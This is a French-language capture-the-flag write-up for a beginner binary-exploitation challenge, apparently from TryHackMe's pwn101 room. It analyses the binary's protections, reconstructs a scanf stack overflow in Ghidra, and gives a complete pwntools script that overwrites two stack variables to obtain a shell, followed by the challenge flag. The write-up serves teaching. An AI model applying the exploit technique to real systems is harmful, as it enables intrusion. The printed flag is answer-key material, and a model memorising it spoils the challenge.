Challenge 2 - pwn101
Information du fichier
Dans un premier temps on a besoin d'avoir un max d'information sur le fichier pour savoir à quoi nous avons à faire on va donc effectuer un file pour obtenir des informations sur le fichier. Ensuite nous ferons un checksec pour voir les protections avec lesquelles le fichier à été compilé.
Le file
pwn102: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2612b87a7803e0a8af101dc39d860554c652d165, not stripped
On retient ici le fait que le fichier est un exécutable en 64bit, et qu'il n'est pas strippé.
Le checksec
checksec pwn102
[*] '/home/effect/Informatic/Cybersecurity/THM/pwn101/pwn102'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Les protections à retenir ici :
- PIE (Position Independent Executable) : L'adresse de base du binaire est aléatoire, donc on ne peut pas connaître les adresses des fonctions de manière statique.
- NX (No-Execute) : La stack n'est pas exécutable (pas de shellcode directement sur la stack).
Analyse du Code (Ghidra)
On va voir le main sur Ghidra.
On renomme les variables que l'on arrive à deviner comme le buffer et les deux checks. Comparé au challenge précédent, on voit qu'il ne suffit pas de "crier comme un âne" dans l'input pour exploiter le buffer overflow. On a deux conditions précises et les valeurs doivent être les mêmes.
Voici une reconstitution du code source (Pseudo-code) pour mieux visualiser :
void main() {
int check1 = 0;
int check2 = 0;
char buffer[104];
// ... code d'initialisation ...
scanf("%s", buffer); // Vulnérabilité : Buffer Overflow
// Les deux conditions à valider pour avoir le shell
if (check1 == 0xc0d3 && check2 == 0xc0ff33) {
system("/bin/sh");
}
}
Construction du Payload
On installe pwninit, un outil de pwn qui sert à faire des templates d'exploit en python.
On commence par vouloir remplir notre buffer, qui a une taille de 104 caractères comme défini au début du code.
Ensuite on va interagir avec le programme en utilisant la fonction sendlineafter() :
- Premier paramètre : le caractère après lequel notre payload est envoyé (ici
?). - Deuxième paramètre : notre payload.
padding pour remplir le buffer. Ensuite, il faut qu'on envoie les deux valeurs exactes. J'ai su dans quel ordre les envoyer en regardant l'ordre dans lequel les variables sont définies dans la stack (le buffer déborde d'abord sur la variable la plus proche) :
- La première variable atteinte
check1(valeur attendue0xc0d3). - La deuxième variable atteinte
check2(valeur attendue0xc0ff33).
p32) car ce sont des entiers sur 4 octets.
padding = b"A" * 104
payload = padding + p32(0xc0d3) + p32(0xc0ff33)
Exploit
En lançant le programme, il nous demande si on a besoin de "badf00d" :
Voici le script final (solve.py) :
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwn102")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("10.80.189.153", 9002)
return r
def main():
r = conn()
# good luck pwning :)
padding = b"A" * 104
r.sendlineafter(b"?", padding + p32(0xc0d3) + p32(0xc0ff33))
r.interactive()
if __name__ == "__main__":
main()
Une fois le script exécuté :
Flag : THM{y3s_1_n33D_C0ff33_to_C0d3_<3}